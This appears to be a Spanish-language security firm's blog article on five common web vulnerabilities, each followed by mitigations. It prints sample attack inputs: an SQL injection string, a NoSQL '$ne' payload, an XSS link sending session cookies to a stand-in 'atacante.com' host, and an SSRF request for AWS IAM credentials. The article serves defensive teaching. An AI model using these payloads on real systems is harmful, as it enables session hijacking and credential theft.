Las 5 vulnerabilidades web más comunes en 2026

La seguridad de las aplicaciones web sigue siendo uno de los mayores desafíos para las organizaciones en 2026. A pesar de los avances en frameworks y herramientas de desarrollo, las vulnerabilidades clásicas continúan apareciendo con frecuencia alarmante en nuestras auditorías de seguridad. En este artículo analizamos las cinco vulnerabilidades web que más detectamos durante el último año, con ejemplos prácticos y recomendaciones claras para mitigarlas.

Broken Access Control

El control de acceso roto ocupa el primer puesto en el OWASP Top 10 desde 2021, y no es casualidad. En 2026, seguimos encontrando esta vulnerabilidad en más del 60% de las aplicaciones que auditamos. Se produce cuando una aplicación no verifica correctamente si el usuario tiene permisos para acceder a un recurso o ejecutar una acción determinada.

Ejemplo práctico: IDOR

Uno de los patrones más frecuentes es la referencia directa a objetos inseguros (IDOR). Imaginemos una API que devuelve los datos de facturación de un usuario:

GET /api/invoices/1542
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Si el servidor devuelve la factura con ID 1542 sin comprobar que pertenece al usuario autenticado, un atacante puede simplemente iterar sobre los IDs para acceder a facturas de otros clientes.

Otros vectores comunes

• Escalada de privilegios vertical: un usuario estándar modifica parámetros de la petición para acceder a funcionalidades de administrador.
• Manipulación de tokens JWT: si la verificación de firma es débil o inexistente, un atacante puede alterar los claims del token.
• Falta de restricciones en endpoints: endpoints administrativos expuestos sin autenticación adecuada.

Cómo mitigarlo

• Implementar controles de acceso en el servidor, nunca confiar únicamente en validaciones del lado del cliente.
• Utilizar un modelo de autorización basado en roles (RBAC) o atributos (ABAC) centralizado.
• Denegar acceso por defecto: cualquier recurso debe ser inaccesible a menos que se conceda permiso explícitamente.
• Registrar y monitorizar los intentos de acceso no autorizado.

Inyección SQL y NoSQL

Las vulnerabilidades de inyección siguen siendo un clásico que no desaparece. Aunque la inyección SQL ha disminuido ligeramente gracias a la adopción generalizada de ORMs, la inyección NoSQL ha crecido con la popularidad de MongoDB y bases de datos de documentos.

Código vulnerable vs. código seguro

Veamos primero un ejemplo vulnerable en una consulta SQL directa:

// VULNERABLE - Concatenación directa de entrada del usuario
const query = `SELECT * FROM users WHERE email = '${req.body.email}' AND password = '${req.body.password}'`;
db.execute(query);

Un atacante puede enviar como email el valor ' OR '1'='1' --, lo que modifica la lógica de la consulta y permite autenticarse sin credenciales válidas.

La versión segura utiliza consultas parametrizadas:

// SEGURO - Consulta parametrizada
const query = "SELECT * FROM users WHERE email = $1 AND password = $2";
db.execute(query, [req.body.email, hashedPassword]);

Inyección NoSQL en MongoDB

Con MongoDB, el patrón de ataque es diferente pero igualmente peligroso:

// VULNERABLE - El atacante puede enviar un objeto en lugar de un string
// Si req.body.password = { "$ne": "" }
const user = await User.findOne({
  email: req.body.email,
  password: req.body.password, // Acepta un operador de consulta
});

Cómo mitigarlo

• Utilizar siempre consultas parametrizadas o prepared statements.
• Validar y sanitizar las entradas del usuario, especialmente los tipos de datos esperados.
• Aplicar el principio de mínimo privilegio en los permisos de la base de datos.
• Utilizar herramientas de análisis estático (SAST) que detecten patrones de inyección en el código fuente.

Cross-Site Scripting (XSS)

El XSS continúa siendo una de las vulnerabilidades más extendidas en aplicaciones web. Permite a un atacante inyectar scripts maliciosos que se ejecutan en el navegador de otros usuarios, comprometiendo sus sesiones, datos personales o redirigiendo a sitios fraudulentos.

Tipos de XSS

• Reflejado: el payload se incluye en la URL o en los parámetros de la petición y se refleja directamente en la respuesta del servidor.
• Almacenado: el payload se guarda en la base de datos (por ejemplo, en un comentario) y se sirve a todos los usuarios que visualizan ese contenido.
• DOM-based: la manipulación del DOM se realiza enteramente en el lado del cliente, sin que el payload pase por el servidor.

Ejemplo de payload y su impacto

Un atacante descubre que un campo de búsqueda refleja el input sin sanitizar:

https://ejemplo.com/buscar?q=<script>document.location='https://atacante.com/steal?cookie='+document.cookie</script>

Si un usuario hace clic en ese enlace, sus cookies de sesión se envían al servidor del atacante, permitiéndole secuestrar la sesión.

Cómo mitigarlo

• Escapar toda salida HTML según el contexto (HTML, atributos, JavaScript, CSS, URL).
• Utilizar frameworks modernos que escapan por defecto, como React ({variable} escapa automáticamente) o Vue.js.
• Implementar una Content Security Policy (CSP) estricta que limite la ejecución de scripts.
• Configurar la cookie de sesión con los flags HttpOnly, Secure y SameSite.
• Evitar el uso de innerHTML o dangerouslySetInnerHTML con datos proporcionados por el usuario.

Configuración de Seguridad Incorrecta

Esta categoría abarca un amplio rango de errores que facilitan ataques. No se trata de una vulnerabilidad en el código, sino de malas prácticas en la configuración del servidor, framework o infraestructura.

Lo que encontramos habitualmente

En nuestras auditorías, los hallazgos más frecuentes en esta categoría incluyen:

• Modo debug activado en producción: frameworks como Django o Laravel revelan trazas de error completas, rutas internas y variables de entorno.
• Credenciales por defecto: paneles de administración con usuarios admin/admin o admin/password, bases de datos sin contraseña, consolas de gestión accesibles desde internet.
• Headers de seguridad ausentes: falta de X-Content-Type-Options, X-Frame-Options, Strict-Transport-Security y otros headers críticos.
• Listado de directorios habilitado: permite a un atacante enumerar todos los archivos disponibles en un directorio del servidor web.
• Servicios innecesarios expuestos: puertos de bases de datos, colas de mensajes o paneles de monitorización accesibles sin autenticación.

Ejemplo: headers expuestos

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: PHP/8.1.2

Estas cabeceras revelan versiones exactas del software, facilitando que un atacante busque exploits específicos para esas versiones.

Cómo mitigarlo

• Establecer un proceso de hardening documentado para cada componente del stack.
• Eliminar headers que revelan versiones de software (Server, X-Powered-By).
• Desactivar funcionalidades no utilizadas: métodos HTTP innecesarios, listado de directorios, cuentas por defecto.
• Automatizar revisiones de seguridad de la configuración con herramientas como CIS Benchmarks.
• Mantener un inventario actualizado del software y aplicar parches de seguridad de forma regular.

Server-Side Request Forgery (SSRF)

El SSRF ha ganado relevancia en los últimos años, especialmente con la adopción masiva de servicios cloud. Esta vulnerabilidad permite a un atacante forzar al servidor a realizar peticiones HTTP a destinos arbitrarios, incluyendo servicios internos que no deberían ser accesibles desde el exterior.

Ejemplo en entornos cloud

Uno de los ataques SSRF más peligrosos en infraestructuras cloud consiste en acceder al servicio de metadatos de la instancia:

POST /api/fetch-url
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

Si la aplicación permite al usuario especificar una URL que el servidor luego consulta (por ejemplo, para obtener una vista previa de un enlace o importar una imagen), un atacante puede apuntar al endpoint de metadatos de AWS (169.254.169.254) y obtener credenciales IAM temporales con acceso a otros servicios de la cuenta.

Otros vectores de SSRF

• Escaneo de puertos internos: utilizando la aplicación como proxy para descubrir servicios en la red interna.
• Acceso a bases de datos internas: Redis, Elasticsearch u otros servicios que escuchan en la red privada sin autenticación.
• Bypass de firewalls: la petición se origina desde el servidor interno, eludiendo las reglas del firewall perimetral.

Cómo mitigarlo

• Validar y sanitizar las URLs proporcionadas por el usuario.
• Implementar una allowlist de dominios y protocolos permitidos.
• Bloquear peticiones a direcciones IP privadas (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) y al rango de link-local (169.254.0.0/16).
• Desactivar las redirecciones HTTP automáticas en las peticiones del servidor.
• En entornos cloud, utilizar IMDSv2 (que requiere un token previo) en lugar de IMDSv1.

Conclusión

Las cinco vulnerabilidades que hemos analizado no son nuevas, pero siguen siendo las más prevalentes en las aplicaciones web que auditamos. La buena noticia es que todas tienen mitigaciones bien establecidas y documentadas. La clave está en integrar la seguridad desde las fases más tempranas del desarrollo, no como un paso final.

En Secra adoptamos un enfoque proactivo: combinamos auditorías de seguridad manuales con herramientas automatizadas de análisis estático (SAST) y dinámico (DAST) para ofrecer una cobertura completa. Si quieres conocer el estado de seguridad de tus aplicaciones web, contacta con nuestro equipo para una evaluación inicial sin compromiso.